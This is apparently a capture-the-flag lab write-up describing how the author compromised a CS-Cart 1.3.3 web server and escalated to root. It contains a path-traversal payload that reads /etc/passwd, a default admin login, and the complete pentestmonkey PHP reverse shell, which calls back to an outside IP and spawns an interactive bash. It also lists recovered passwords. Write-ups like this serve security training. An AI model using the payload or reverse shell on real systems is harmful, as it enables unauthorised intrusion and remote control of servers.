nmap shows lots of open ports to try and go down rabbit holes.
doing a service and version scan we get more information. we see that the server is running a php shopping cart software called 'cs-cart'
A quick google search tells us we can find the version by going to $domain/?version and we see that the server is running version 1.3.3. This version shows up in searchsploit with local file inclusion (LFI) and RCE (remote code execution). This seems to be our way in.
using the unauthenticated LFI (classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00) we are able to see that we have a user called 'patrick' on the system.
We see the authenticated RCE ability for a reverse shell in searchsploit but we need to be able to upload a file. Doing another search online we see that we need to access the admin settings by going to $domain/admin.php. Thankfully a simple admin / admin lets us through since this is a default install.
I tried using Google Chrome through Burp however, it kept logging out after every click. The template interface also failed to load all the way and would stay with a 'loading' message that would not let me proceed.
Frustrated, I tried Firefox just in case and of course it worked beautifully. No session issues, and no spinning 'loading' message.
I uploaded PenTest Monkey's Reverse PHP script and was able to get a call back without issues. This is the PHP script I used.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.49.111';
$port = 80;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
We now have local access to the server and can retrieve our flag.
We upgrade our janky shell by doing these commands (no python3 on this machine)
Now we can work on our privsec. Couple of commands to get some basic information
Going through the cscart files we see that the database username and password are root / root.
We also see a password for user brett / ilovesecuritytoo under /root/capture.cap. Just in case I tried that password for root through ssh and did not work.
Running LSE shows us something interesting but nothing came out of it. Probably a false positive?
The other interesting thing is that we have access to a folder that is being used by the system crontab. This is our most likely way to get root access.
This a BS box. The way in was to GUESS that patrick's password was patrick and he already has sudo access.... GG.